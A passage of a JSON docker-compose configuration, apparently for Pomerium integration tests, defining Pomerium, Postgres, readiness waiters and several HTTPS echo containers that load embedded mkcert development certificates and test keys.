"UYgnt8bxxK5G2sFaNzyqi5Z+OgF8m2akNc0xdQx718w=", "SIGNING_KEY": "LS0tLS1CRUdJTiBFQyBQUklWQVRFIEtFWS0tLS0tCk1IY0NBUUVFSVBSR1d3TGg3NW5OWG5razM3ekRmTjhvbkx3ZkNpYUxQVEQrbmM4THg1aGNvQW9HQ0NxR1NNNDkKQXdFSG9VUURRZ0FFa3BCa08wVEttaDRKZFFmTE9lZU1kNTNLbmdhMVdkUVhyNUZjZXBrK2RMVktkVkt4WENHcQpoMW9qdWh1VzExR0lvT3pTOUdvU0tsTlZTUkZXVkVXRHZ3PT0KLS0tLS1FTkQgRUMgUFJJVkFURSBLRVktLS0tLQo=", "SIGNING_KEY_ALGORITHM": "ES256" }, "image": "pomerium/pomerium:${POMERIUM_TAG:-main}", "networks": { "main": { "aliases": [ "pomerium", "authenticate.localhost.pomerium.io" ] } }, "ports": [ "80:80/tcp", "443:443/tcp", "9901:9901/tcp" ] }, "postgres": { "environment": { "POSTGRES_DB": "test", "POSTGRES_PASSWORD": "password", "POSTGRES_USER": "pomerium" }, "image": "postgres:14.3-alpine", "networks": { "main": { "aliases": [ "postgres" ] } } }, "postgres-ready": { "command": [ "-wait", "tcp://postgres:5432", "-timeout", "10m" ], "image": "jwilder/dockerize:0.6.1", "networks": { "main": { "aliases": [ "postgres-ready" ] } } }, "trusted-1-httpdetails": { "command": [ "sh", "-c", "cat <<-END_OF_HTTPDETAILS | tee /app/fullchain.pem\n-----BEGIN CERTIFICATE-----\nMIIEUjCCArqgAwIBAgIRAKNaEqCmmZfhmcYgZy01WCswDQYJKoZIhvcNAQELBQAw\ngYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9wbWVudCBDQTEsMCoGA1UECwwjY2Fs\nZWJAY2FsZWItcGMtbGludXggKENhbGViIERveHNleSkxMzAxBgNVBAMMKm1rY2Vy\ndCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTAeFw0yMTA4MTAx\nNzMyMTBaFw0yMzExMTAxODMyMTBaMFcxJzAlBgNVBAoTHm1rY2VydCBkZXZlbG9w\nbWVudCBjZXJ0aWZpY2F0ZTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXgg\nKENhbGViIERveHNleSkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC8\nHLBAIzXkPeegldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPD\nyVhDT0QlI/O/EKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+Vv\nWyl+FoPDV/vsZ31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9t\njObsaQgJ5LLxCYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEq\nbZUDG+ZioArPmqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd\n9r6rOBxpxwnTDvHkBn6vAgMBAAGjbDBqMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUE\nDDAKBggrBgEFBQcDATAfBgNVHSMEGDAWgBSFhlhYgEfKTplVOeneVG3+3IE/TTAi\nBgNVHREEGzAZghcqLmxvY2FsaG9zdC5wb21lcml1bS5pbzANBgkqhkiG9w0BAQsF\nAAOCAYEAufQAF79s7c1gmZ9CIKBSGkHh+SH01CuKYnnHiMowHsTioFaUAQsd/P4X\nc2XBqc34eT3mCvpgZjHbjz6JlnTYJxuLvVqnVB3emtWrb1cQvh8BphxspTlS8uiE\nAEf/ngtpzfA/f4lpGkzrQ0cyPkEJGz511q97itzn9RZZzVTZxNVFSP2vVhNNQVsW\nOxakcvYRgnz8AOQS3OPHj2FQc3iibshct5leIwYZFcxINGHR6KL6+/LSePNCEMmK\nqymVPkQGsIcU6GQ9fxaSu4mp+IUALProizEVI8SVk5nOm3HIez+ZfXhzfnGx06SI\n6NuoQQPqUBeZeXn2YFYhipeRdrQxvA36/YXa/AkXCeU0pXxbtXKcvatfri5KnYJD\nkH59a+aFkTsl41tfI2cnRYVddqXVl3OzLbcgAFLn1WeC1xx3xRXi7KldokOlvgv+\nB6naWfCxRlWZ/lsmHae4kc1WH4Kc7nK+ITb40EkjV68/A7krZsN1VcqNtpomYkgE\nxjUE8XUu\n-----END CERTIFICATE-----\nEND_OF_HTTPDETAILS\ncat <<-END_OF_HTTPDETAILS | tee /app/privkey.pem\n-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC8HLBAIzXkPeeg\nldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPDyVhDT0QlI/O/\nEKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+VvWyl+FoPDV/vs\nZ31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9tjObsaQgJ5LLx\nCYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEqbZUDG+ZioArP\nmqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd9r6rOBxpxwnT\nDvHkBn6vAgMBAAECggEAB28i0AYUNSb1JnWFbKzruUctu3tCNXovJg6K3BiPVMkq\nDT1XrJIgF5RHHOlr3OsLE6u7Xz2ctdML6PshiKTtIwtGpivgRpCiJEslmr2zi8AW\n8eJeqRLZEfsSSJOXTG7RdGsn4qHFJ00s2ZTlcIHSPwnFm+XjJi99U8G4XsUoXo0r\nGy+0VCuU7M8gICEHHsrQO9XDD3nT2jiu5TjrKwjut3EmoJssI5bqx33+OBu5BpCP\nCT473D43P9p3qi/XnfvqGSG2Oj4OajV4fr0o9B3KvIxkMem7WlI3jyy1kApyXqVT\nbLkLFyWBNTWUZ2R/2wxmuoC6mLZw879MLCKMvk1doQKBgQDhmwGafJNymTiEQZRI\nSsQx4seqfOKfgFC7ohqH9cROOu8IJ1o7q2pM2W4XiV+S3wTdPGmca6IOjX23isVB\n2uqNi9S4MnI2/d22Gd/BR9rvBw1eGJoKbrWx22fE8QCEWT1AnO+DuD0jC85yRls7\naxzlaMrxEu3LI9UE7NtrdQiByQKBgQDVdI6ceIVBT6RgvVGt8zkLjPIFjhQEHAIp\nuhirgqpS6CX9Blyf2+o40zmfj3he5rCcEoB5MseM+DgFbcVh2e/MVnYiNNw6JCDB\nBQkF408pZpSeKXvL/oyV/kImMTJ/tUDY0EXxMwSPJB0WltbWreVIHopigXRCbaey\nuBHVBv/4twKBgHwHuePy5SU1s2qSmzD7Wc2LPfYu3nCOHNRrFGb26MuRfuReri7r\n2G8TgoESFycp0QTIN8+1JM0XYKxNcJD6B8V1wKbbpQsymneI1gjutiB/Igw/PkDK\nCL4VP4F4da5NWW1yWgNygLoJvZ/5qiKKisJc0GWk4HKz6mLgzOjQ2LJxAoGBALHZ\nfN2YeYbyYcaM11p1VilulVTVjY3i/FZiDR4SL/IGJWjN/Szg4iXYsKFmu+dulOZl\ncBALpEKrqpmzXYtrN6bsv18+5eO3qGbK2DrEq3eWVev2KoTMobxz7g++XBIWJmLA\nHhaa6IiPkYD5yyVyHKDbeXgb3o9eqCR7w7fYLjy/AoGAI4D+MFkivwUF7hqf5edS\nKrltwmodHiqXNbVkwbW1AFPJbiYai4YFfK4IAbif/Ymxf9G78aOkr9ZpCIzOkDPZ\nYpEwQGWsAhElCFvc8E/5dHESSp+tWtP+NluimpFqiDg3/SUnMwO2xH0nhLa0zejh\ngmLh4w/CcPyb9ZyXceWU/nU=\n-----END PRIVATE KEY-----\nEND_OF_HTTPDETAILS\nnode ./index.js\n" ], "image": "mendhak/http-https-echo:19", "networks": { "main": { "aliases": [ "trusted-1-httpdetails" ] } } }, "trusted-1-httpdetails-ready": { "command": [ "-wait", "http://trusted-1-httpdetails:8080", "-timeout", "10m" ], "image": "jwilder/dockerize:0.6.1", "networks": { "main": { "aliases": [ "trusted-1-httpdetails-ready" ] } } }, "trusted-2-httpdetails": { "command": [ "sh", "-c", "cat <<-END_OF_HTTPDETAILS | tee /app/fullchain.pem\n-----BEGIN CERTIFICATE-----\nMIIEUjCCArqgAwIBAgIRAKNaEqCmmZfhmcYgZy01WCswDQYJKoZIhvcNAQELBQAw\ngYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9wbWVudCBDQTEsMCoGA1UECwwjY2Fs\nZWJAY2FsZWItcGMtbGludXggKENhbGViIERveHNleSkxMzAxBgNVBAMMKm1rY2Vy\ndCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTAeFw0yMTA4MTAx\nNzMyMTBaFw0yMzExMTAxODMyMTBaMFcxJzAlBgNVBAoTHm1rY2VydCBkZXZlbG9w\nbWVudCBjZXJ0aWZpY2F0ZTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXgg\nKENhbGViIERveHNleSkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC8\nHLBAIzXkPeegldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPD\nyVhDT0QlI/O/EKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+Vv\nWyl+FoPDV/vsZ31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9t\njObsaQgJ5LLxCYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEq\nbZUDG+ZioArPmqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd\n9r6rOBxpxwnTDvHkBn6vAgMBAAGjbDBqMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUE\nDDAKBggrBgEFBQcDATAfBgNVHSMEGDAWgBSFhlhYgEfKTplVOeneVG3+3IE/TTAi\nBgNVHREEGzAZghcqLmxvY2FsaG9zdC5wb21lcml1bS5pbzANBgkqhkiG9w0BAQsF\nAAOCAYEAufQAF79s7c1gmZ9CIKBSGkHh+SH01CuKYnnHiMowHsTioFaUAQsd/P4X\nc2XBqc34eT3mCvpgZjHbjz6JlnTYJxuLvVqnVB3emtWrb1cQvh8BphxspTlS8uiE\nAEf/ngtpzfA/f4lpGkzrQ0cyPkEJGz511q97itzn9RZZzVTZxNVFSP2vVhNNQVsW\nOxakcvYRgnz8AOQS3OPHj2FQc3iibshct5leIwYZFcxINGHR6KL6+/LSePNCEMmK\nqymVPkQGsIcU6GQ9fxaSu4mp+IUALProizEVI8SVk5nOm3HIez+ZfXhzfnGx06SI\n6NuoQQPqUBeZeXn2YFYhipeRdrQxvA36/YXa/AkXCeU0pXxbtXKcvatfri5KnYJD\nkH59a+aFkTsl41tfI2cnRYVddqXVl3OzLbcgAFLn1WeC1xx3xRXi7KldokOlvgv+\nB6naWfCxRlWZ/lsmHae4kc1WH4Kc7nK+ITb40EkjV68/A7krZsN1VcqNtpomYkgE\nxjUE8XUu\n-----END CERTIFICATE-----\nEND_OF_HTTPDETAILS\ncat <<-END_OF_HTTPDETAILS | tee /app/privkey.pem\n-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC8HLBAIzXkPeeg\nldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPDyVhDT0QlI/O/\nEKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+VvWyl+FoPDV/vs\nZ31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9tjObsaQgJ5LLx\nCYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEqbZUDG+ZioArP\nmqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd9r6rOBxpxwnT\nDvHkBn6vAgMBAAECggEAB28i0AYUNSb1JnWFbKzruUctu3tCNXovJg6K3BiPVMkq\nDT1XrJIgF5RHHOlr3OsLE6u7Xz2ctdML6PshiKTtIwtGpivgRpCiJEslmr2zi8AW\n8eJeqRLZEfsSSJOXTG7RdGsn4qHFJ00s2ZTlcIHSPwnFm+XjJi99U8G4XsUoXo0r\nGy+0VCuU7M8gICEHHsrQO9XDD3nT2jiu5TjrKwjut3EmoJssI5bqx33+OBu5BpCP\nCT473D43P9p3qi/XnfvqGSG2Oj4OajV4fr0o9B3KvIxkMem7WlI3jyy1kApyXqVT\nbLkLFyWBNTWUZ2R/2wxmuoC6mLZw879MLCKMvk1doQKBgQDhmwGafJNymTiEQZRI\nSsQx4seqfOKfgFC7ohqH9cROOu8IJ1o7q2pM2W4XiV+S3wTdPGmca6IOjX23isVB\n2uqNi9S4MnI2/d22Gd/BR9rvBw1eGJoKbrWx22fE8QCEWT1AnO+DuD0jC85yRls7\naxzlaMrxEu3LI9UE7NtrdQiByQKBgQDVdI6ceIVBT6RgvVGt8zkLjPIFjhQEHAIp\nuhirgqpS6CX9Blyf2+o40zmfj3he5rCcEoB5MseM+DgFbcVh2e/MVnYiNNw6JCDB\nBQkF408pZpSeKXvL/oyV/kImMTJ/tUDY0EXxMwSPJB0WltbWreVIHopigXRCbaey\nuBHVBv/4twKBgHwHuePy5SU1s2qSmzD7Wc2LPfYu3nCOHNRrFGb26MuRfuReri7r\n2G8TgoESFycp0QTIN8+1JM0XYKxNcJD6B8V1wKbbpQsymneI1gjutiB/Igw/PkDK\nCL4VP4F4da5NWW1yWgNygLoJvZ/5qiKKisJc0GWk4HKz6mLgzOjQ2LJxAoGBALHZ\nfN2YeYbyYcaM11p1VilulVTVjY3i/FZiDR4SL/IGJWjN/Szg4iXYsKFmu+dulOZl\ncBALpEKrqpmzXYtrN6bsv18+5eO3qGbK2DrEq3eWVev2KoTMobxz7g++XBIWJmLA\nHhaa6IiPkYD5yyVyHKDbeXgb3o9eqCR7w7fYLjy/AoGAI4D+MFkivwUF7hqf5edS\nKrltwmodHiqXNbVkwbW1AFPJbiYai4YFfK4IAbif/Ymxf9G78aOkr9ZpCIzOkDPZ\nYpEwQGWsAhElCFvc8E/5dHESSp+tWtP+NluimpFqiDg3/SUnMwO2xH0nhLa0zejh\ngmLh4w/CcPyb9ZyXceWU/nU=\n-----END PRIVATE KEY-----\nEND_OF_HTTPDETAILS\nnode ./index.js\n" ], "image": "mendhak/http-https-echo:19", "networks": { "main": { "aliases": [ "trusted-2-httpdetails" ] } } }, "trusted-2-httpdetails-ready": { "command": [ "-wait", "http://trusted-2-httpdetails:8080", "-timeout", "10m" ], "image": "jwilder/dockerize:0.6.1", "networks": { "main": { "aliases": [ "trusted-2-httpdetails-ready" ] } } }, "trusted-3-httpdetails": { "command": [ "sh", "-c", "cat <<-END_OF_HTTPDETAILS | tee /app/fullchain.pem\n-----BEGIN CERTIFICATE-----\nMIIEUjCCArqgAwIBAgIRAKNaEqCmmZfhmcYgZy01WCswDQYJKoZIhvcNAQELBQAw\ngYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9wbWVudCBDQTEsMCoGA1UECwwjY2Fs\nZWJAY2FsZWItcGMtbGludXggKENhbGViIERveHNleSkxMzAxBgNVBAMMKm1rY2Vy\ndCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTAeFw0yMTA4MTAx\nNzMyMTBaFw0yMzExMTAxODMyMTBaMFcxJzAlBgNVBAoTHm1rY2VydCBkZXZlbG9w\nbWVudCBjZXJ0aWZpY2F0ZTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXgg\nKENhbGViIERveHNleSkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC8\nHLBAIzXkPeegldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPD\nyVhDT0QlI/O/EKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+Vv\nWyl+FoPDV/vsZ31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9t\njObsaQgJ5LLxCYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEq\nbZUDG+ZioArPmqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd\n9r6rOBxpxwnTDvHkBn6vAgMBAAGjbDBqMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUE\nDDAKBggrBgEFBQcDATAfBgNVHSMEGDAWgBSFhlhYgEfKTplVOeneVG3+3IE/TTAi\nBgNVHREEGzAZghcqLmxvY2FsaG9zdC5wb21lcml1bS5pbzANBgkqhkiG9w0BAQsF\nAAOCAYEAufQAF79s7c1gmZ9CIKBSGkHh+SH01CuKYnnHiMowHsTioFaUAQsd/P4X\nc2XBqc34eT3mCvpgZjHbjz6JlnTYJxuLvVqnVB3emtWrb1cQvh8BphxspTlS8uiE\nAEf/ngtpzfA/f4lpGkzrQ0cyPkEJGz511q97itzn9RZZzVTZxNVFSP2vVhNNQVsW\nOxakcvYRgnz8AOQS3OPHj2FQc3iibshct5leIwYZFcxINGHR6KL6+/LSePNCEMmK\nqymVPkQGsIcU6GQ9fxaSu4mp+IUALProizEVI8SVk5nOm3HIez+ZfXhzfnGx06SI\n6NuoQQPqUBeZeXn2YFYhipeRdrQxvA36/YXa/AkXCeU0pXxbtXKcvatfri5KnYJD\nkH59a+aFkTsl41tfI2cnRYVddqXVl3OzLbcgAFLn1WeC1xx3xRXi7KldokOlvgv+\nB6naWfCxRlWZ/lsmHae4kc1WH4Kc7nK+ITb40EkjV68/A7krZsN1VcqNtpomYkgE\nxjUE8XUu\n-----END CERTIFICATE-----\nEND_OF_HTTPDETAILS\ncat <<-END_OF_HTTPDETAILS | tee /app/privkey.pem\n-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC8HLBAIzXkPeeg\nldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPDyVhDT0QlI/O/\nEKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+VvWyl+FoPDV/vs\nZ31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9tjObsaQgJ5LLx\nCYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEqbZUDG+ZioArP\nmqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd9r6rOBxpxwnT\nDvHkBn6vAgMBAAECggEAB28i0AYUNSb1JnWFbKzruUctu3tCNXovJg6K3BiPVMkq\nDT1XrJIgF5RHHOlr3OsLE6u7Xz2ctdML6PshiKTtIwtGpivgRpCiJEslmr2zi8AW\n8eJeqRLZEfsSSJOXTG7RdGsn4qHFJ00s2ZTlcIHSPwnFm+XjJi99U8G4XsUoXo0r\nGy+0VCuU7M8gICEHHsrQO9XDD3nT2jiu5TjrKwjut3EmoJssI5bqx33+OBu5BpCP\nCT473D43P9p3qi/XnfvqGSG2Oj4OajV4fr0o9B3KvIxkMem7WlI3jyy1kApyXqVT\nbLkLFyWBNTWUZ2R/2wxmuoC6mLZw879MLCKMvk1doQKBgQDhmwGafJNymTiEQZRI\nSsQx4seqfOKfgFC7ohqH9cROOu8IJ1o7q2pM2W4XiV+S3wTdPGmca6IOjX23isVB\n2uqNi9S4MnI2/d22Gd/BR9rvBw1eGJoKbrWx22fE8QCEWT1AnO+DuD0jC85yRls7\naxzlaMrxEu3LI9UE7NtrdQiByQKBgQDVdI6ceIVBT6RgvVGt8zkLjPIFjhQEHAIp\nuhirgqpS6CX9Blyf2+o40zmfj3he5rCcEoB5MseM+DgFbcVh2e/MVnYiNNw6JCDB\nBQkF408pZpSeKXvL/oyV/kImMTJ/tUDY0EXxMwSPJB0WltbWreVIHopigXRCbaey\nuBHVBv/4twKBgHwHuePy5SU1s2qSmzD7Wc2LPfYu3nCOHNRrFGb26MuRfuReri7r\n2G8TgoESFycp0QTIN8+1JM0XYKxNcJD6B8V1wKbbpQsymneI1gjutiB/Igw/PkDK\nCL4VP4F4da5NWW1yWgNygLoJvZ/5qiKKisJc0GWk4HKz6mLgzOjQ2LJxAoGBALHZ\nfN2YeYbyYcaM11p1VilulVTVjY3i/FZiDR4SL/IGJWjN/Szg4iXYsKFmu+dulOZl\ncBALpEKrqpmzXYtrN6bsv18+5eO3qGbK2DrEq3eWVev2KoTMobxz7g++XBIWJmLA\nHhaa6IiPkYD5yyVyHKDbeXgb3o9eqCR7w7fYLjy/AoGAI4D+MFkivwUF7hqf5edS\nKrltwmodHiqXNbVkwbW1AFPJbiYai4YFfK4IAbif/Ymxf9G78aOkr9ZpCIzOkDPZ\nYpEwQGWsAhElCFvc8E/5dHESSp+tWtP+NluimpFqiDg3/SUnMwO2xH0nhLa0zejh\ngmLh4w/CcPyb9ZyXceWU/nU=\n-----END PRIVATE KEY-----\nEND_OF_HTTPDETAILS\nnode ./index.js\n" ], "image": "mendhak/http-https-echo:19", "networks": { "main": { "aliases": [ "trusted-3-httpdetails" ] } } }, "trusted-3-httpdetails-ready": { "command": [ "-wait", "http://trusted-3-httpdetails:8080", "-timeout", "10m" ], "image": "jwilder/dockerize:0.6.1", "networks": { "main": { "aliases": [ "trusted-3-httpdetails-ready" ] } } }, "trusted-httpdetails": { "command": [ "sh", "-c", "cat <<-END_OF_HTTPDETAILS | tee /app/fullchain.pem\n-----BEGIN CERTIFICATE-----\nMIIEUjCCArqgAwIBAgIRAKNaEqCmmZfhmcYgZy01WCswDQYJKoZIhvcNAQELBQAw\ngYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9wbWVudCBDQTEsMCoGA1UECwwjY2Fs\nZWJAY2FsZWItcGMtbGludXggKENhbGViIERveHNleSkxMzAxBgNVBAMMKm1rY2Vy\ndCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTAeFw0yMTA4MTAx\nNzMyMTBaFw0yMzExMTAxODMyMTBaMFcxJzAlBgNVBAoTHm1rY2VydCBkZXZlbG9w\nbWVudCBjZXJ0aWZpY2F0ZTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXgg\nKENhbGViIERveHNleSkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC8\nHLBAIzXkPeegldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPD\nyVhDT0QlI/O/EKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+Vv\nWyl+FoPDV/vsZ31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9t\njObsaQgJ5LLxCYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEq\nbZUDG+ZioArPmqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd\n9r6rOBxpxwnTDvHkBn6vAgMBAAGjbDBqMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUE\nDDAKBggrBgEFBQcDATAfBgNVHSMEGDAWgBSFhlhYgEfKTplVOeneVG3+3IE/TTAi\nBgNVHREEGzAZghcqLmxvY2FsaG9zdC5wb21lcml1bS5pbzANBgkqhkiG9w0BAQsF\nAAOCAYEAufQAF79s7c1gmZ9CIKBSGkHh+SH01CuKYnnHiMowHsTioFaUAQsd/P4X\nc2XBqc34eT3mCvpgZjHbjz6JlnTYJxuLvVqnVB3emtWrb1cQvh8BphxspTlS8uiE\nAEf/ngtpzfA/f4lpGkzrQ0cyPkEJGz511q97itzn9RZZzVTZxNVFSP2vVhNNQVsW\nOxakcvYRgnz8AOQS3OPHj2FQc3iibshct5leIwYZFcxINGHR6KL6+/LSePNCEMmK\nqymVPkQGsIcU6GQ9fxaSu4mp+IUALProizEVI8SVk5nOm3HIez+ZfXhzfnGx06SI\n6NuoQQPqUBeZeXn2YFYhipeRdrQxvA36/YXa/AkXCeU0pXxbtXKcvatfri5KnYJD\nkH59a+aFkTsl41tfI2cnRYVddqXVl3OzLbcgAFLn1WeC1xx3xRXi7KldokOlvgv+\nB6naWfCxRlWZ/lsmHae4kc1WH4Kc7nK+ITb40EkjV68/A7krZsN1VcqNtpomYkgE\nxjUE8XUu\n-----END CERTIFICATE-----\nEND_OF_HTTPDETAILS\ncat <<-END_OF_HTTPDETAILS | tee /app/privkey.pem\n-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC8HLBAIzXkPeeg\nldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPDyVhDT0QlI/O/\nEKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+VvWyl+FoPDV/vs\nZ31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9tjObsaQgJ5LLx\nCYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEqbZUDG+ZioArP\nmqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd9r6rOBxpxwnT\nDvHkBn6vAgMBAAECggEAB28i0AYUNSb1JnWFbKzruUctu3tCNXovJg6K3BiPVMkq\nDT1XrJIgF5RHHOlr3OsLE6u7Xz2ctdML6PshiKTtIwtGpivgRpCiJEslmr2zi8AW\n8eJeqRLZEfsSSJOXTG7RdGsn4qHFJ00s2ZTlcIHSPwnFm+XjJi99U8G4XsUoXo0r\nGy+0VCuU7M8gICEHHsrQO9XDD3nT2jiu5TjrKwjut3EmoJssI5bqx33+OBu5BpCP\nCT473D43P9p3qi/XnfvqGSG2Oj4OajV4fr0o9B3KvIxkMem7WlI3jyy1kApyXqVT\nbLkLFyWBNTWUZ2R/2wxmuoC6mLZw879MLCKMvk1doQKBgQDhmwGafJNymTiEQZRI\nSsQx4seqfOKfgFC7ohqH9cROOu8IJ1o7q2pM2W4XiV+S3wTdPGmca6IOjX23isVB\n2uqNi9S4MnI2/d22Gd/BR9rvBw1eGJoKbrWx22fE8QCEWT1AnO+DuD0jC85yRls7\naxzlaMrxEu3LI9UE7NtrdQiByQKBgQDVdI6ceIVBT6RgvVGt8zkLjPIFjhQEHAIp\nuhirgqpS6CX9Blyf2+o40zmfj3he5rCcEoB5MseM+DgFbcVh2e/MVnYiNNw6JCDB\nBQkF408pZpSeKXvL/oyV/kImMTJ/tUDY0EXxMwSPJB0WltbWreVIHopigXRCbaey\nuBHVBv/4twKBgHwHuePy5SU1s2qSmzD7Wc2LPfYu3nCOHNRrFGb26MuRfuReri7r\n2G8TgoESFycp0QTIN8+1JM0XYKxNcJD6B8V1wKbbpQsymneI1gjutiB/Igw/PkDK\nCL4VP4F4da5NWW1yWgNygLoJvZ/5qiKKisJc0GWk4HKz6mLgzOjQ2LJxAoGBALHZ\nfN2YeYbyYcaM11p1VilulVTVjY3i/FZiDR4SL/IGJWjN/Szg4iXYsKFmu+dulOZl\ncBALpEKrqpmzXYtrN6bsv18+5eO3qGbK2DrEq3eWVev2KoTMobxz7g++XBIWJmLA\nHhaa6IiPkYD5yyVyHKDbeXgb3o9eqCR7w7fYLjy/AoGAI4D+MFkivwUF7hqf5edS\nKrltwmodHiqXNbVkwbW1AFPJbiYai4YFfK4IAbif/Ymxf9G78aOkr9ZpCIzOkDPZ\nYpEwQGWsAhElCFvc8E/5dHESSp+tWtP+NluimpFqiDg3/SUnMwO2xH0nhLa0zejh\ngmLh4w/CcPyb9ZyXceWU/nU=\n-----END PRIVATE KEY-----\nEND_OF_HTTPDETAILS\nnode ./index.js\n" ], "image": "mendhak/http-https-echo:19", "networks": { "main": { "aliases": [ "trusted-httpdetails" ] } } }, "trusted-httpdetails-ready": { "command": [ "-wait", "http://trusted-httpdetails:8080", "-timeout", "10m" ], "image": "jwilder/dockerize:0.6.1", "networks": { "main": { "aliases": [ "trusted-httpdetails-ready" ] } } }, "untrusted-httpdetails": { "command": [ "sh", "-c", "cat <<-END_OF_HTTPDETAILS | tee /app/fullchain.pem\n-----BEGIN CERTIFICATE-----\nMIIEUjCCArqgAwIBAgIRAKKYU7PSAFxZbhuLUlbv3iAwDQYJKoZIhvcNAQELBQAw\ngYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9wbWVudCBDQTEsMCoGA1UECwwjY2Fs\nZWJAY2FsZWItcGMtbGludXggKENhbGViIERveHNleSkxMzAxBgNVBAMMKm1rY2Vy\ndCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTAeFw0yMTA4MTEy\nMTU2MTFaFw0yMzExMTEyMjU2MTFaMFcxJzAlBgNVBAoTHm1rY2VydCBkZXZlbG9w\nbWVudCBjZXJ0aWZpY2F0ZTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXgg\nKENhbGViIERveHNleSkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCg\nVDM59lGzCRjdUQCyzokqC4sEr7Ln2FpXfHjMWPuNK5vQYccTxto3JlAVXl+oOLHG\noryKGDOkRV1SDb3zAxYQNDuYUnraiVgLPrM9NFpHSk/IlACQjRlFRYG0Go3PDR2v\nJX4qTwgrqQtLOJ5tHnqrt6idtvNp1ISYOIscXf/WIAhh+IuOvas4eie7GETX4eqP\nqpc6AEFuklmoBHBfMCrGg89WBUTWCZYrHE9BYDL